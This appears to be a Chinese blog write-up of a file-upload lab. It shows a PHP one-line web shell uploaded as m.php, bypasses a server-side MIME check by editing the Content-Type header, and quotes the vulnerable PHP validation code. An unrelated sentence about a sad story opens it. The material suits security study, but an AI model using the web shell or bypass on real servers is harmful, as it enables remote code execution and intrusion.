真叫人难过啊,故事开头就是那么一个远离一切人的小世界,只有一对姐弟彼此拥抱,故事结束仍只是他们两个,和属于他们的世界一起毁灭。
黑盒测试
上传后页面提示文件类型不正确,没有弹框出来。应该不是本地客户端校验,抓包分析。
查看上传木马部分信息
Content-Disposition: form-data; name="upload_file"; filename="m.php"
Content-Type: application/octet-stream
<?php @eval($_POST['x']);?>
第一行是正常的传输信息,第二行是上传文件的类型,关于application/octet-stream这里提起一下,application/octet-stream是以流的形式下载文件,这样可以实现任意格式的文件下载。因为该上传仅允许上传图片格式的文件,遂修改成如下试一下
image/jpeg;image/jpg;image/gif
上传成功。当然仅仅修改成image/jpeg也是可以上传成功的。
关于该漏洞是服务端对数据包的MIME(文件类型的专用数据)进行检查,即对Content-Type的内容进行检查。
白盒测试
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/png')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
连续三个获取并判断文件的类型是不是image/jpeg,image/png,image/png,其中||是或,or的意思。&&是与,and的意思。这两个符号在一起的Sql注入漏洞中有提起过的。
然后如果只要其中一个文件的类型,也就是Content-Type符合代码中三种类型的其中之一就可以正确上传。